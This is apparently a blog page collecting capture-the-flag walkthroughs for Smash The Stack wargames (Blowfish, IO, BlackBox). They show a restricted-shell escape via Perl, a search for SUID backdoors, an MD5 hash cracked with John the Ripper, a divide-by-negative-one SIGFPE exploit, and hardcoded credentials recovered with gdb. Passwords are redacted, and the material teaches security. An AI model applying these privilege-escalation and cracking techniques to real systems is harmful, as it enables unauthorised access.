Blowfish Level3 – Don’t forget where you came from

Welcome back.  Today we’re going to be looking at level3 of the Blowfish wargame from Smash The Stack.  Since this is level3, I’ll assume you have the password from completing level2.  Also, as always, the password will be stripped from this page and replaced with Y’s. Now, let’s ssh in and get started.

Upon logging in we see a banner message,

You are in a restricted shell. If you can break out of it, you need to find the backdoor hidden somewhere in the system. find it and cat /pass/level4

Ok, sounds like level 3 so far.  Let’s check what we can find, and perhaps what this restricted shell is.

level3@blowfish:~$ find / -user level4 -group level3 2>/dev/null
-rbash: /dev/null: restricted: cannot redirect output
level3@blowfish:~$ find / -user level4 -group level3
-rbash: find: command not found
level3@blowfish:~$ pwd
/home/level3
level3@blowfish:~$ ls
-rbash: ls: command not found
level3@blowfish:~$ /usr/ls
-rbash: /usr/ls: restricted: cannot specify `/’ in command names

Interesting.  We can’t use find or ls, or include slashes in our commands.  So let’s see if we can’t scope out this restricted shell more.  We can google and read up on rbash, but let’s also experiment.

level3@blowfish:~$ pwd
/home/level3
level3@blowfish:~$ echo $PATH
/home/rbash

Now we really need to find out what is in /home/rbash to see which program we might be able to execute or use.  Let’s open up another PuTTy window, connect to blowfish again, but this time as level2!  Once there, let’s look around.  First we want to try to find this talked about back door.  Second, we want to know what is in /home/rbash:

level2@blowfish:~$ find / -user level4 -group level3 2>/dev/null
/home/level3/..     /cat_lvl4
level2@blowfish:~$ ls -la “/home/level3/..     /cat_lvl4”
-r-sr-x— 1 level4 level3 7460 2007-12-03 13:41 /home/level3/..     /cat_lvl4
level2@blowfish:~$ ls -la /home/rbash
total 8
drwxr-xr-x 2 711 root 4096 2009-08-15 22:11 .
drwxr-xr-x 22 l3thal root 4096 2009-08-09 23:35 ..
lrwxrwxrwx 1 711 root 8 2009-08-15 22:11 cat -> /bin/cat
lrwxrwxrwx 1 711 root 13 2009-08-09 23:13 perl -> /usr/bin/perl

Alright, we found the SUID program we’re going to try to execute.  The name is odd and has spaces in the directory so we wrap it in quotes.  Also, we checked out /home/rbash and found two links, one to /bin/cat and one to /usr/bin/perl.  So it looks like we’re probably going to be using these guys to hopefully break free of the restricted level3 shell!  How will we break free? Well we need to execute the cat_level4 file.  Best way to do that out of cat and perl, sounds like perl.  If we can make a perl file that calls the cat_level4 file, we should be in business.  So let’s jump on our level2 shell and do some programming.  (Remember to keep it in /tmp and to clean up afterwards!)

First let’s create a perl program, let’s call it test.pl.  In it we will simply call the program we want to execute.  The whole script is as follows:

level2@blowfish:/tmp/.somedir$ cat test.pl
#!/usr/bin/perl
system(‘/home/level3/..\ \ \ \ \ /cat_lvl4’);
level2@blowfish:/tmp/.somedir$ chmod 777 test.pl
level2@blowfish:/tmp/.somedir$ ls -la test.pl
-rwxrwxrwx 1 level2 level2 62 2012-07-20 09:05 test.pl

Don’t forget to add executable permission for everyone, since we’re going to be running this program through perl on level3!  Now let’s switch back over to our level3 shell and run the script.

level3@blowfish:~$ perl /tmp/.somedir/test.pl
YYYYYYYYYYY

Bam.  Seems like the cat_level4 program already runs cat /pass/level4 for us.  There we have it, the password for level4 and the end of level3.  So, while restricted shell, rbash, can make it more difficult to perform actions, it doesn’t make it impossible.  Obviously, we had to log-in to level2 to create the file and to look around.  However, who knows when there might be a similar script that calls a similar SUID program that is vulnerable to attack.  The successful attack is often the one delivered through an unexpected vector.

Posted in Blowfish, Smash The Stack, Wargames | Tagged , , , , | Leave a comment

Blowfish Level2 – Where to start looking

Welcome back to another post, another level.  Today we’re going to be solving level2 of the Blowfish wargame from Smash The Stack.  As usual, the final password for level3 will be stripped out and replaced with Y’s.  Also, I assume you already have access to level2 on Blowfish.  Now let’s get started.

As the end of level1 stated, level2 is accessed via ssh on port 2222 for blowfish.smashthestack.org, so let’s log in.  Upon login, a quick directory listing shows a README, so let’s check that for direction.

sh-3.2$ ls
public_html README
sh-3.2$ more README

There is a backdoor to the next level hidden somewhere on this system, find it, and get the pass for level3 from /pass/level3

– http://smashthestack.org/viewtopic.php?id=436

hint: `man find`

Alright, it looks like we’re looking for a hidden backdoor, and maybe this is the big point of the level.  What we need to look for is a program that runs as user level3, even when we execute it, and let’s us execute it because it has group for level2.  To do this, we will use the linux “find” command.  Our command and results are as follows:

sh-3.2$ find / -group level2 -user level3 2>/dev/null
/var/tmp/level4.c.swp
/var/tmp/level3.swp
/var/tmp/core.9788
/var/tmp/level3.swo
/var/tmp/.svz
/var/tmp/hossam.swp
/var/tmp/testme
/var/tmp/.svy
/var/tmp/apple
/var/tmp/jnk.txt.swp
/var/tmp/fdsa
/usr/bin/false

Now, judging by the banner we got when logging in, we can assume all those files in /var/tmp aren’t for the game, they’re just left over from previous users.  So let’s look at /usr/bin/false.

sh-3.2$ ls -la /usr/bin/false
-r-sr-x— 1 level3 level2 607288 2007-12-02 17:13 /usr/bin/false

Looking at the permissions, we can see the “s” is set for setuid, which enables the program to run with the permissions of the owner of the program, rather than those of the user who ran the program.  Additionally we can see from the group permissions columns, group has permission to execute the program.  This is just what we were looking for: a program owned by level3, SUID to run as level3, and set with group level2 with group execution permissions!  So let’s run it and see what happens:

sh-3.2$ /usr/bin/false
Stand-alone shell (version 3.7)
> whoami
level3
> more /pass/level3
YYYYYYYYYYYYY

There we have it, done with level2!  Point of the level was obviously searching, using the find command to find files which can be executed by you and used to gain higher privileges, through legitimate or illegitimate execute.  Finding programs such as this is often the first step in looking for vulnerabilities as one of the main goals in exploiting a vulnerability is often escalation of privileges.

That wraps it up here for Blowfish Level2.  Check back often for more postings and wargame analysis.

Posted in Blowfish, Smash The Stack, Wargames | Tagged , , , , , | Leave a comment

Blowfish Level1

Welcome back for another posting at Technolution.  Please remember the final password for today’s game will be stripped on this page and replaced with Y’s.  If you want to do the level, go do it.  Now, onto the games!  Today we’re going to be starting a new wargame on the SmashTheStack Network, Blowfish!  You can find information about the Blowfish wargame on it’s main page, here.  Reading up, this game already seems a little different in the way level 1 works.  Instead of ssh’ing in right away, we’re supposed to telnet to port 6666 of blowfish.smashthestack.org.  Upon connecting, an encrypted password will be sent to us for level 2.  However, as it is encrypted, we will have to decrypt it before we can use it to ssh into blowfish as level2.

Today I’m working from Windows, so we’ll be using PuTTy to get the password.  Open Putty, choose telnet (since there is a protocol difference) and specify port 6666 on blowfish.smashthestack.org.  Before connecting, choose to never close window on exit.  We do this since the server closes the connection after sending the string and we need the window to stay open long enough for us to read the string ourselves.  Once you’re setup, go a head and connect.  Upon connecting we should get the following text:

$1$4JKI4bjj$EucGdPgVb6uc4oTUQ.mJV0
———————————-

Crack this passwd with john the ripper
and use the password to login with
ssh level2@blowfish.smashthestack.org -p 2222

http://iamyas.blogspot.com/2008/01/format-of-etcshadow-file.html
http://www.openwall.com/john/

Ok, that’s straight forward.  If you haven’t used john the ripper before, go download it from the above link.  John is a password cracking utility.  In this case we’re going to be cracking a md5 password hash from /etc/shadow.  John cracks password files and thus the password hashes have to be in the correct format.  Simply make a password.txt file (name doesn’t matter) in the john\run directory (with the john.exe file).  Lines in the password.txt file should be for the format:

username:password:last_password_change:min_days:max_days:warning:inactive:expired_date

That’s a long list, but for what we are doing the only important fields are the username:password fields.  To make use, let’s put the following in our password.txt file.

level2:$1$4JKI4bjj$EucGdPgVb6uc4oTUQ.mJV0:::::::

Next, load a command prompt and change your current directory to wherever your john.exe file is.  From here we will use the dictionary list supplied by john, password.lst, to attempt to guess the password used for level2.  (The password that when encrypted by md5, gives the md5 hash we received above.)  To do this we use the follow command, and get the following results!

c:\…\john179\run> john –wordlist=password.lst passwd.txt
Loaded 1 password hash (FreeBSD MD5 [32/32])
YYYYYYY (level2)
guesses: 1 time: 0:00:00:00 100% c/s: 9533 trying: YYYYYYY

Tada!  Here we are.  John found the password that when encrypted with MD5, gives the same password hash as we had for username level2.  Now we can take that password and -following the instructions we received at the beginning of the level- ssh to port 2222 on blowfish.smashthestack.org and log in as level2/YYYYYYY.

In today’s example we used a wordlist.  That means that if the original password (in this case “YYYYYYY”) wasn’t in password.lst, then we would never have gotten the password.  This can be maneuvered around by using a brute force attack, and hopefully we’ll see something like that in a later level.  Brute force attacks end up trying all possible character combinations (given a specific character set) and thus don’t require lists.  However, for long enough passwords, brute forcing can take prohibitively long to get a password in the worst, or even average, case scenario.  (If you’re interested in brute force cracking and how long things are taking in 2011, I’d recommend watching the Economics of Password Cracking in the GPU Era talk from Defcon19, by Robert “Hackajar” Imhoff-Dousharm of SanDisk Corporation.)

Anyway, we’ll stop there for today.  Please check back later for the next level of Blowfish, as well as other wargames and postings!

Posted in Blowfish, Smash The Stack, Wargames | Tagged , , , , , , | Leave a comment

IO Level2 – Sending The Wrong Signals

Welcome back for another round of the IO wargame from SmashTheStack.org.  Today we will be looking at level2.  I’ll assume everyone can connect and has access to level2.  Go ahead and open ssh and log in to level2.  First, let’s jump over to /levels and get a listing of all files with the name beginning with “level02”.  level02 and, since it’s supplied, level02.c.  Quick view of level02.c gives us the following:

level2@io:/levels$ more level02.c
//a little fun brought to you by bla

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>

void catcher(int a)
{
setresuid(geteuid(),geteuid(),geteuid());
printf(“WIN!\n”);
system(“/bin/sh”);
exit(0);
}

int main(int argc, char **argv)
{
puts(“source code is available in level02.c\n”);

if (argc != 3 || !atoi(argv[2]))
return 1;
signal(SIGFPE, catcher);
return abs(atoi(argv[1])) / atoi(argv[2]);
}

Program starts with main and prints out text about the source code.  Next it checks how many command line arguments were supplied.  and what the first one is.  The program requires 2 arguments after the filename (which always counts as the 1st argument anytime a program is ran).  The program also requires that the 1st user supplied argument not be 0.  We will see why shortly.  After checking the arguments, the program registers a handler function to a signal value.  In this case the function catcher is registered to fire when the SIGFPE signal is encountered.  Well, I wonder what we can find out about SIGFPE.  According to the linux man page and info from linux.die.net,

According to POSIX, the behavior of a process is undefined after it ignores a SIGFPE, SIGILL, or SIGSEGV signal that was not generated by kill(2) or raise(3). Integer division by zero has undefined result. On some architectures it will generate a SIGFPE signal. (Also dividing the most negative integer by -1 may generate SIGFPE.) Ignoring this signal might lead to an endless loop.

Well isn’t that interesting?  Certain division situations can cause a SIGFPE.  Looking at the last line of main, we can see the program divides the integer values of the two supplied arguments, and the 1st one is the divisor.  That must be why the program doesn’t allow the value of 0, to prevent SIGFPE and division by zero instability.  However, reading the above, it also says dividing the most negative integer by -1 could generate a SIGFPE, and the program doesn’t protect against the user entering those.  So let’s try it!  Doing the math or looking it up, we see the most negative integer in 32 bit two’s complement is -2147483648.  So we try…

level2@io:/levels$ ./level02 -2147483648 -1
source code is available in level02.c

WIN!
sh-4.1$ whoami
level3

Oh wow, and we’re already done since catcher, the function we registered to SIGFPE, was already programmed to spawn a shell as level3 (since the level02 program is SUID).  Don’t forget to grab the password for level3 from /home/level3/.pass

That does it for today.  Remember to watch your special cases, and your exception throwing and always verify user input for all cases, especially boundary cases.  Also, test your programs for those cases.  It’s too easy for a tired programmer to miss a boring test case on input and subsequently leave a program open to exploitation.  Humans aren’t machines and thus mistakes happen.  So test, test, test, and find those mistakes before someone else does.

Posted in IO, Smash The Stack, Wargames | Tagged , , , , , | Leave a comment

BlackBox Level1 – Welcome to the GDB

Welcome.  This blog will be about the BlackBox wargame on the SmashTheStack Network. Today we will be starting off the wargame with Level1.  Since BlackBox is a more advanced wargame, basic ssh and linux experience will be assumed.  Also, the actual password for the next level will be replaced on this page with a string Y’s.  If you want to do the level, do it.

According to the BlackBox webpage, level1 can be accessed via username/password level1/level1 on blackbox.smashthestack.org port 2225.  Upon logging in a quick directory listing shows a SUID program for user level2 group level1, named login2.  This must be the program we’re going to exploit.  A quick run of the program gives the following

level1@blackbox:~$ ./login2
Username: level1
Password: level1
Invalid username or password
level1@blackbox:~$ ./login2
Username: level2
Password: level2
Invalid username or password

Now we know the program probably isn’t linked directly to /etc/passwd or /etc/shadow since level1/level1 wasn’t valid.  Additionally the simple attempt of level2/level2 didn’t work, so more digging is needed.  First to notice, no source code is available.  Thus, we’ll have to resort to other attempts to reverse engineer the program.  First we’ll start with determining the file type of the program with the file command:

level1@blackbox:~$ file login2
login2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.4.1, statically linked, for GNU/Linux 2.4.1, not stripped

Now we know we have an executable.  Quick attack for static strings would be to run strings on the program and testing each result as a username/password.  This will result in n^2 attempts where n is the number of strings returned from the strings command.  Unfortunately, running strings and taking the number of lines (strings login2 | wc -l), we see that there are 2279 lines and with the n^2 algorithm that would be aprox 2*10^7652, or a number far to large to check.  IF we could test 1 million (1*10^6) login/pass combo’s per second, it would still take [(2*10^7652)/(1*10^6) ] seconds to test all of those combos (which is still 2.3*10^7641 DAYS, I don’t know if we have a term for how large that number is).  So, we need a better approach.

The approach we will take has to do with reverse engineering.  We will try to figure out specifically which string the program tests as the username and password.  To do this we will use the command line debugging tool gdb.  To load the program use the command “gdb <program to debug>”.  In our case, from the home directory, “gdb login2”.  From here the first two commands we need to know are the “run” command, which starts the loaded program, and the “disass” command which disassembles and shows the assembly code of a function or memory address.  Type “run” to test that the program runs correctly in gdb, then disassemble the main function to attempt to understand the program with the “disass main” command.  (For a gdb cheat sheet head on over to darkdust.net or google.)  Since main is a little long, I will assume you can follow along on your own screen.

One easy way to get an idea of what is happening in the assembly is to look at the call instructions.  These are where functions were called in the original program.  Our asm code has the following calls:

0x08048292 <main+24>: call 0x8072ec0 <_ZNSsC1Ev>
0x0804829d <main+35>: call 0x8072ec0 <_ZNSsC1Ev>
0x080482b1 <main+55>: call 0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>
0x080482c4 <main+74>: call 0x806b2e0 <_ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E>
0x080482d8 <main+94>: call 0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>
0x080482eb <main+113>: call 0x806b2e0 <_ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E>
0x080482fe <main+132>: call 0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_>
0x08048317 <main+157>: call 0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_>
0x08048343 <main+201>: call 0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>
0x08048353 <main+217>: call 0x806bf10 <_ZNSolsEPFRSoS_E>
0x0804835f <main+229>: call 0x80b5ab0 <system>
0x08048375 <main+251>: call 0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>
0x08048385 <main+267>: call 0x806bf10 <_ZNSolsEPFRSoS_E>
0x08048390 <main+278>: call 0x8074e40 <_ZNSsD1Ev>
0x080483a3 <main+297>: call 0x8074e40 <_ZNSsD1Ev>
0x080483b3 <main+313>: call 0x8074e40 <_ZNSsD1Ev>
0x080483ce <main+340>: call 0x8074e40 <_ZNSsD1Ev>
0x080483dc <main+354>: call 0x80a5180 <_Unwind_Resume>

At this point we can google the mangled function names, such as <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>, and figure out which function it was in c, in this case it’s the printf function.  Additionally, <_ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E> is get line from user and <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_> is string compare!

Great!  Now, knowing what we do we can assume the first set of print/getline get’s the username and the second set of print/getline get’s the password.  We also then see two string compares, one at main+132 and one at main+157.  First we’ll look at the username, then we’ll do the password.

0x080482a2 <main+40>: movl $0x80ffe48,0x4(%esp)
0x080482aa <main+48>: movl $0x8130f60,(%esp)
0x080482b1 <main+55>: call 0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>

So what is happening here?  Well, when a function is called, it’s parameters are often put on the stack.  So in the first case of the printf function, two parameters are moved in, both are memory addresses, the first of a string and the second of an int.  We see the use of printf(string, stringlen);.  If we want to examine memory in gdb we use the “x” command.  The usage we will use is “x/1s 0x080ffe48”.  This means examine one string at memory 0x080ffe48 (the memory address passed as a string to printf).  We get the following:

(gdb) x/1s 0x080ffe48
0x80ffe48 <_IO_stdin_used+4>: “Username: “

Just what we expected!  The first string printed by the program was “Username: “, and that is what we have found through reverse engineering the assembly.  Now for the input.

0x080482b6 <main+60>: lea 0xfffffff4(%ebp),%eax
0x080482b9 <main+63>: mov %eax,0x4(%esp)
0x080482bd <main+67>: movl $0x8130ec0,(%esp)
0x080482c4 <main+74>: call 0x806b2e0 <_ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E>

Now what is happening here is only slightly more involved due to the lea command.  But what is happening is lea is loading the address of a variable declared in the program (such as char inputUserName[128];) and putting it on the stack as the first parameter.  The second movl command is just supplying another memory address, in this case a number, the length of the array.  This is fine and dandy, but let’s move on to the string compare for username:

0x080482f0 <main+118>: movl $0x80ffe5e,0x4(%esp)
0x080482f8 <main+126>: lea 0xfffffff4(%ebp),%eax
0x080482fb <main+129>: mov %eax,(%esp)
0x080482fe <main+132>: call 0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_>

We know string comparing needs two strings strcmp(s1, s2) and returns a value.  We see the setup here, movl $0x80ffe5e,0x4(%esp) loads in one of the strings.  So let’s examine that memory value, looking for 1 string

(gdb) x/1s 0x080ffe5e
0x80ffe5e <_IO_stdin_used+26>: “level2”

Well what do you know, a string.  Looks like this is the user name.  Can double check by examining the other value loaded in but you can see the way it is referenced (lea from ebp) that it’s a variable from within the C program, the same one getline used for getting user input.  Alright!  We have the username, now onto the password!  It’s all the same for the password:

0x08048309 <main+143>: movl $0x80ffe65,0x4(%esp)
0x08048311 <main+151>: lea 0xfffffff0(%ebp),%eax
0x08048314 <main+154>: mov %eax,(%esp)
0x08048317 <main+157>: call 0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_>

(gdb) x/1s 0x080ffe65
0x80ffe65 <_IO_stdin_used+33>: “YYYYYYYY”

And there we have it.  Run the program (from the shell, not gdb, otherwise your privileges won’t be escalated) and use the username/password we found above.

level1@blackbox:~$ ./login2
Username: level2
Password: YYYYYYYY
Welcome, level 2!
sh-3.1$ whoami
level2

So that long assembly primer was BlackBox Level1 from SmashTheStack.org.  Assembly is extremely important to know if you want to truly understand how computers are working, and understand security.  For security, strcmp is not a secure function.  You cannot use string compare without providing two strings and when your strings are in plain text, not only can your program see them, but so can the person controlling your program, and users are always in control of their system.  Remember, nothing to do with computers is magic, it’s all very well defined.  Every bit on a computer means nothing without context, but in the correct context all is understood.

Posted in BlackBox, Smash The Stack, Wargames | Tagged , , , , , | Leave a comment